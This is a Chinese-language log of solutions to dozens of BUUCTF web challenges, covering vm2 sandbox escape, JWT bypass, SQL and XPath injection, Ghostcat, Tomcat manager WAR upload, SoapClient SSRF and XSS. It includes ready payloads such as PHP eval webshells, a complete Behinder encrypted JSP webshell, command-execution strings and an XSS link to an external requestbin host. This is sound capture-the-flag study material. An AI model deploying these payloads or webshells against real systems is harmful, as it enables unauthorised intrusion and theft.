补一下最近的 BUUCTF 做题记录
[HFCTF2020]JustEscape
Node.js
利用报错可以得知前端 php ,后端是 vm2
1 | (function(){ |
去 github 搜索 vm2 的漏洞找到以下的 payload
https://github.com/patriksimek/vm2/issues/225
1 | (function(){ |
但是 waf 很多字符,发现可以用数组绕过,所以最终 payload 是
1 | /run.php?code[]=(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); } })() |
[HFCTF2020]EasyLogin
JWT
查看 app.js 发现是 koa 框架,根据框架搜到源码在 controllers/api.js
1 | const crypto = require('crypto'); |
这里可以通过设置secretid为数组,加密算法为空绕过登陆验证,payload
1 | import jwt |
然后直接访问 /api/flag 就行了
[HFCTF2020]BabyUpload
文件上传
要想拿到 flag 需要满足以下条件
1 | if($_SESSION['username'] ==='admin') |
所以我们需要伪造 admin 然后再创建一个 success.txt 文件
看看代码逻辑,sess 文件存储在根目录,令 attr=. 就可以读取当前目录,文件名则为 sess_PHPSESSID,刚好文件的命名方式为 ‘文件名’ + ‘_’ + ‘文件内容哈希值’,所以满足伪造 admin 的条件,首先我们先读一下 sess 文件是用什么存储引擎的
1 | import requests as rq |
返回 sess 文件的内容是
1 | usernames:5:"guest"; |
可以推测起采用的存储引擎是php_binary
,本地自己生成一个 sess 文件
1 | <?php |
打开自己的 php.ini 看看 session.save_path 在哪里,用十六进制打开文件我们可以看到 username 前面其实还有一个不可见字符0x08
,它表示的是 username 的长度,所以在传文件时,我们需要注意这个不可见字符
所以上传 sess 文件,所以文件名
1 | import requests as rq |
file_exists
可以判断文件或目录是否存在,所以这里把 attr 改成 success.txt 即可
1 | import requests as rq |
带上 admin 的 cookie 就可以看到 flag 了
[WUSTCTF2020]颜值成绩查询
异或盲注
有一个查询接口,简单测试可以发现
1 | ?stunum=1^1^1 => Hi admin, your score is: 100 |
所以是布尔盲注,过滤了空格,祭出老脚本
1 | from multiprocessing import Pool, Manager |
[WUSTCTF2020]朴实无华
代码审计
robots.txt 信息泄露
1 | User-agent: * |
访问一下响应头有东西
然后是个代码审计
1 | <?php |
第一层可以利用十六进制绕过 intval
,intval(str)为0,但是intval(str+1) 会自动转换成数值
php7里面修复了这个漏洞
1 | num=0x1234 |
第二层 md5 双哈希为 0e 绕过,检索一下就有了
http://wh4lter.icu/2017/10/15/php_MD5/
当然你也可以采用脚本爆破(不推荐,十分漫长)
1 | import hashlib, vthread |
随便拿一个
1 | md5=0e00275209979 |
第三层空格用 ${IFS}
,命令直接用斜杠绕过
1 | get_flag=ca\t${IFS}fll* |
[WUSTCTF2020]CV Maker
文件上传
诶 注册登录随便传个马就 getshell 了
1 | <script language='php'>@eval($_REQUEST['1']);</script> |
连上去 ?1=system(‘cat /*’); 就行了
[WUSTCTF2020]easyweb
幽灵猫漏洞
随意上传文件就可以进行下载,得到任意读文件接口
1 | /download?file= |
报错得出了路径
但是 uploads 目录并不能访问
查看 web.xml 发现使用了 tomcat.ajp 协议
联想到用幽灵猫漏洞进行文件包含从而执行命令
https://github.com/00theway/Ghostcat-CNVD-2020-10487
先获取靶机的内网地址
1 | /download?file=../../../../../../../etc/hosts |
上传可以命令执行的 js 文件
1 | <%@ page import="java.util.*,java.io.*"%> |
开一个 Linux Labs 运行 ajpShooter.py 执行命令执行
1 | python3 ajpShooter.py http://174.1.115.127 8009 /WEB-INF/uploads/fe845d95-805e-4fb7-aac3-7bc |
后面直接 cat /flag* 就好了
[WUSTCTF2020]Train Yourself To Be Godly
tomcat
打开是一个 tomcat 界面,报错现在当前目录在 examples
利用 Nginx 和 Tomcat 对某些标点解析的差异性进行目录穿越,进入后台页面
1 | http://dcf11651-b9f9-4e12-80ed-038dbf7c34fb.node3.buuoj.cn/..;/manager/html |
后台默认密码是 tomcat / manager
这里是利用弱口令 tomcat / tomcat
后面就是熟悉的 war 上传 webshell 了
上一个冰蝎的 shell
1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%> |
生成 war 包
或者打包成 zip 然后改成 war
1 | jar cvf exp.war shell.jsp |
直接上传会 404,因为路径会再添加一个 examples
修改路径后会出现 401,因为缺少了授权信息,需要我们自己添加 Authorization 头
1 | Authorization: Basic dG9tY2F0OnRvbWNhdA== |
添加后出现 403,这是因为我们比正常请求少了一个 cookie,在访问 /manager/html/
时我们会返回一个 cookie
但是添加 cookie 后我们还是 403
正确方法把那个 Set-Cookie 的返回包抓回来修改 Path 就可以上传成功了
上传成功
冰蝎连上去 flag 在环境变量
根目录也有 /flagggg
[网鼎杯 2020 朱雀组]phpweb
**命令执行题目
一进去发现传参的参数是
1 | func=date&p=Y-m-d+h%3Ai%3As+a |
随意修改 func 参数发现如下报错
1 | <b>Warning</b>: call_user_func() expects parameter 1 to be a valid callback, function 'dte' not found or invalid function name in <b>/var/www/html/index.php</b> on line <b>24</b><br /> |
所以这里就是命令注入了,试了几个命令被 waf 了
先读一下源码
1 | func=readfile&p=index.php |
显然这里给了一个反序列化的漏洞给我们,调用 unserialze 就可以触发没有经过过滤的 __destruct 函数了,payload 如下
一开始找不到 flag,直接 find 一下就好
1 | <?php |
[网鼎杯 2020 朱雀组]Nmap
nmap 老漏洞
先打一个 127.0.0.1 试试,发现 nmap 完 ip 后会存储到一个 xml 文件里面,然后进行文件包含,首先我们需要知道 nmap 有部分文件读写的参数
1 | # 读文件: |
所以我们可以这样读文件
1 | 127.0.0.1' -iL /flag -oN kk.txt ' |
当然你还可以直接写 shell,这里 php 被过滤了,稍微用短标签和 phtml 绕过一下
1 | 127.0.0.1' <?= @eval($_REQUEST[1]);?> -oG kk.phtml ' |
[NPUCTF2020]ReadlezPHP
代码注入
查看源码接口
1 | <p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p> |
常用的命令函数被 ban 了,但是 assert 没有,直接构造,flag 在 phpinfo 里
1 | ?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";} |
[NPUCTF2020]ezlogin
xpath注入 + 任意读文件
查看 js 源码发现只有登陆成功就会跳到 admin.php,而且提交的数据是直接进行拼接的,猜测这里是 xpath 注入
1 | var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>"; |
不了解 xpath 可以先学习一下
https://www.runoob.com/xpath/xpath-tutorial.html
xpath 注入可以参考这篇文章
具体注入脚本如下
1 | # coding:utf-8 |
拿去 somd5 破解一下得到 admin 密码 adm1n:gtfly123
进去之后拿到题是 flag 在 /flag,一看 url 显然是个任意读文件,/etc/passwd 读取成功,访问 /flag 显示返回的页面中含有敏感内容,php 和 base 被 waf,但是可以大小写绕过,payload 如下
1 | /admin.php?file=pHp://filter/convert.baSe64-encode/resource=/flag |
[NPUCTF2020]验证🐎
node.js
查看源码
验证码的第一个逻辑
1 | first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]) |
我们可以根据 js 中任意类型 + 字符串 = 字符串的特性绕过
1 | {"e":"1","first":[0],"second":"0"} |
然后就是绕命令执行
{“e”:”1”,”first”:[0],”second”:”0”}
1 | function saferEval(str) { |
这里是使用了 js 的箭头函数进行绕过,然后通过 constructor 导出 Function 函数,利用 fromCharCode 编写 exp
最后参照官方 payload 写出
1 | import requests as rq |
[NPUCTF2020]ezinclude
哈希长度拓展攻击 + php7 文件包含
源码提示如下
1 | <!--md5($secret.$name)===$pass --> |
是个哈希长度拓展攻击的典型代码,这里不知道 secret 的长度,所以需要爆破
hashpumpy 的安装在 Windows 上需要 Microsoft Visual C++ 14.0
不想安装的朋友请移步 Linux
爆了很久发现根本爆破不了(x
看了看别人的题解据说是出题人出错了,填入 name 和 pass,然后用 cookie 的 hash 值替换一下 pass 就可以了:)
1 | ?name=1&pass=576322dd496b99d07b5b0f7fa7934a25 |
抓包发现它会跳转到一个 flflflflag.php,然后再跳转到 404.html,flflflflag.php 处有个文件包含
1 | <html> |
读不到常规 flag,所以我们需要命令执行,所以我们需要有个地方上传文件,读一下它的源码过滤了 data|input|zip 协议
1 | ?file=php://filter/convert.base64-encode/resource=flflflflag.php |
这里是会用到了 php7 的一个 bug,php 包含自身导致死循环的时候,同时上传一个文件,这个文件会得到保存,参考如下链接
https://www.jianshu.com/p/dfd049924258
这里为了降低难度给了一个 dir.php
1 | <?php |
顺便看了眼别人的 wp,flag 在 phpinfo,所以最终 payload 如下
1 | import requests as rq |
[b01lers2020]Welcome to Earth
娱乐题
一只右键源码和查看 js 文件可以发现最后的 /fight/ 接口下有如下 js
1 | // Run to scramble original flag |
源码叫我们爆破,那我们当然要自己拼啦
1 | pctf{hey_boys_im_baaaaaaaaaack!} |
[b01lers2020]Life on Mars
sql 注入
查看 js 源码找到接口 /query?search=" + query
再看看 html 源码盲猜后台是 select xx from $_GET['query']
注入 ?search=arabia_terra union select 1,2#
即有回显
不想手工的可以直接 sqlmap
# sqlmap -u “http://xxxxx.node3.buuoj.cn/query?search=arabia_terra%20“
最终 payload 如下
1 | /query?search=amazonis_planitia UNION SELECT id, code FROM alien_code.code |
[b01lers2020]Space Noodles
脑洞题
开头先列一下 HTTP 的请求方法,下面会用到
序号 | 方法 | 描述 |
---|---|---|
1 | GET | 请求指定的页面信息,并返回实体主体。 |
2 | HEAD | 类似于 GET 请求,只不过返回的响应中没有具体的内容,用于获取报头 |
3 | POST | 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。 |
4 | PUT | 从客户端向服务器传送的数据取代指定的文档的内容。 |
5 | DELETE | 请求服务器删除指定的页面。 |
6 | CONNECT | HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。 |
7 | OPTIONS | 允许客户端查看服务器的性能。 |
8 | TRACE | 回显服务器收到的请求,主要用于测试或诊断。 |
9 | PATCH | 是对 PUT 方法的补充,用来对已知资源进行局部更新 。 |
这题有点魔幻,一上来就让我们猜五个接口,看源码就可以看到格式了
接口如下
/circle/one/
;/two/
;/square/
;/com/seaerch/
;/vim/quit/
.
接口 /circle/one/
GET、POST 不行试了一下万能 OPTIONS 有回显,是一个 PDF
先下载下来,好像没什么用
1 | curl -X OPTIONS http://95d801c2-a4ba-4d3f-9027-e36053308fa7.node3.buuoj.cn/circle/one/ --output one.pdf |
接口 /two/
PUT 请求返回
1 | Put the dots??? |
CONNECT 请求会返回一个 .png 文件,我们继续下下来
1 | curl -X CONNECT http://95d801c2-a4ba-4d3f-9027-e36053308fa7.node3.buuoj.cn/two/ --output two.png |
得到文字
1 | up_on_noodles |
接口 /square/
DELETE 请求也有一个 .png 文件,是个文字游戏
1 | curl -X DELETE http://95d801c2-a4ba-4d3f-9027-e36053308fa7.node3.buuoj.cn/square/ --output three.png |
游戏答案
1 | E |
得到文字
1 | tastes |
接口 /com/seaerch/
GET 请求会返回
1 | <htlm> |
要用到 search 参数,但是 ?search=1 没东西,所以我们放到 POST 那里试试看
1 | Content-Type: application/x-www-form-urlencoded |
结果返回
1 | <htlm> |
那我们就输入 flag,得到了
1 | <htlm> |
得到文字
1 | _good_in_s |
接口 /vim/quit/
BUUCTF 没法复现 TRACE 请求
这里的预期解是发送
1 | TRACE /vim/quit/?exit=:wq |
就会得到
1 | <hteeemel<body>> |
得到文字
1 | pace_too} |
上面 5 个接口拿到的文字拼起来
1 | pctf{ketchup_on_noodles_tastes_good_in_space_too} |
[b01lers2020]Scrambled
脑洞题
源码没什么东西,只有 Cookie 有点东西
frequency
是访问次数
transmissions
只有中间四位不断变化,有斜杠,有大括号,猜测前两位应该是 flag,后两位是 flag 所在的位置
直接上脚本
1 | import requests as rq |
[FireshellCTF2020]Caas
文件包含
随意输入一段代码,我们可以知道它是 Linux 下对 c 语言的编译器
包含文件时如果文件不存在会报错,尝试
1 | #include "/etc/passwd" |
会爆出部分文件信息,所以这里是文件包含漏洞,直接包含 /flag 即可
1 | #include "/flag" |
[FireshellCTF2020]URL TO PDF
xss
vps 上创建如下 index.html
1 | <!DOCTYPE html> |
本地下载 pdf
1 | curl -X POST http://b57370e7-5b4d-4485-a409-ea42090a26c4.node3.buuoj.cn/ -d "url=http://174.1.129.147:9999" --output flag.pdf |
安装 pdfdetach
sudo apt install xpdf
利用 pdfdetach 分离 pdf
1 | $ pdfdetach -list flag.pdf |
[FireshellCTF2020]ScreenShooter
xss
和 URL TO PDF 很类似
根据 HTTP 查看客户端信息
发现其用的是 PhantomJS,所以这里是用 js 来读 flag
参考一位日本师傅的 wp
https://st98.github.io/diary/posts/2020-03-23-fireshell-ctf.html
因为 flag 返回的是黑色字符,所以这里要把背景弄成白色才能看到 flag
1 | <!doctype html> |
[FireshellCTF2020]Cars
XXE
是一个用 Kotlin 写的 APK,我们先来看看它的接口有哪些,刚好对应了三个 Activity
1 | // apk/app/src/main/java/com/arconsultoria/cars/rest/Rest.kt |
/cars
和 /car
接口只能查询信息,下面我们重点看一下 /comment
接口
1 | // apk/app/src/main/java/com/arconsultoria/cars/activity/CommentActivity.kt |
大致逻辑就是接受一个 name 和 message,利用 retrofit 调用 Rest 的接口进行 HTTP 应答,然后再显示一个成功信息
可以看到我们的名字得到了回显,所以我们可以猜想一个有没有可能有 xxe,发现可以成功回显
然后直接读 /flag 就好
1 | <?xml version="1.0" encoding="utf-8"?> |
[MRCTF2020]Ezpop
反序列化
进去后得到源码,需要我们构造反序列化pop链
1 | <?php |
IP 伪造要一个个试
1 | Client-Ip: 127.0.0.1 |
file_get_content 用 php://input 绕过
file 写个加密脚本就好
1 | <?php |
最终 payload
1 | GET /secrettw.php?2333=php://input&file=ZmpdYSZmXGI%3d HTTP/1.1 |
[MRCTF2020]Ez_bypass
代码审计
1 |
|
数据绕 md5 ,数字加字母绕过 is_numeric
1 | POST /?gg[]=1&id[]=2 HTTP/1.1 |
[MRCTF2020]Ezpop_Revenge
SoapClient ssrf
www.zip 源码泄露
查看 flag.php,需要 ssrf
1 | <?php |
查看 Plugin.php,可以看到存在反序列化操作
1 | public function action(){ |
激活的方法在 /page_admin
1 | public static function activate($pluginName) |
我们跟进这个奇怪的 class
1 | class HelloWorld_DB{ |
转到 /var/Typecho/Db.php,看到 $adapterName 进行了拼接
1 | public function __construct($adapterName, $prefix = 'typecho_') |
搜索 __string() 方法,跳转到 /var/Tpecho/Db/Query.php
1 | public function __toString() |
看到当 action 为 SELECT 时,会调用 $this->_adapter->parseSelect($this->_sqlPreBuild);
,如果 $this->_adapter
没有 parseSelect
方法,就会触发 __call()
函数,这里就满足了 SoapClient 反序列化的条件
所以这里的 POP 链就是
- 反序列化
HelloWorld_DB
类触发 __wakeup() 方法 - 让
Typecho_Db_Query
赋值给coincidence['hello']
,让其触发__toString()
方法 - 让
SELECT
赋值给_sqlPreBuild['action']
,让其触发$this->_adapter->parseSelect($this->_sqlPreBuild)
- 让
SoapCient
类赋值给$this->_adapter
,让其触发__call()
方法
但是这里会有个坑,就是私有变量的 %00 是打不通的,我们可以选择用十六进制 \00 绕过,并且把字符串 s 标识符变成 S,这里参考颖奇师傅的 payload
https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge
所以最终 payload 是
1 | <?php |
带上 PHPSESSID 和 admin 参数就可以看到 flag 了
[Zer0pts2020]phpNantokaAdmin
Sqlite 注入
根据提示这是一个 Sqlite 数据库,相应的操作有创建表、插入值和删除表,那么有可能存在注入的是创建表和插入值,但是插入值那里似乎注不了,所以注入点应该在创建表那里
首先我们需要知道 Sqlite 的一些特性
当 Sqlite 进行 select 时,可以用[]
、'
、"
和 ` 来装饰列名,位于列名后面的字段被称为别名,如
create table 时支持一种 as 的语法
参数处有 32 长度的字符限制,所以我们不能进行常规的查表查字段,不过我们直接直接查询当前表的 sql 语句,还有过滤了一些标点符号,其中过滤了注释符 --
,可以用 ;
进行闭合
查询当前表的数据操作
1 | table_name=kk as select [sql][&columns[0][name]=1&columns[0][type]=]from sqlite_master; |
直接查值就好
1 | table_name=kk as select [flag_2a2d04c3][&columns[0][name]=1&columns[0][type]=1]from flag_bf1811da; |
``
[Zer0pts2020]musicblog
xss
首先搜一下 flag 在哪里
可以看到 admin 会对我们的文章进行点赞,所以我们可以尝试在文章中嵌入 #like
标签
1 | # /worker/worker.js |
在文章渲染的地方它用到了 render_tags
1 | # web/www/post.php |
跟进一下这个函数做了什么,就是只留下 <audio>
标签
1 | # web/www/util.php |
但是 strip_tags
这个函数是存在漏洞的,参考
https://blog.spoock.com/2018/03/19/wrong-usage-of-filter-function/
所以我们可以利用漏洞构造一个 <a>
标签
1 | <a/udio id=like href=http://http.requestbin.buuoj.cn/1c7z4dg1>xss</audio> |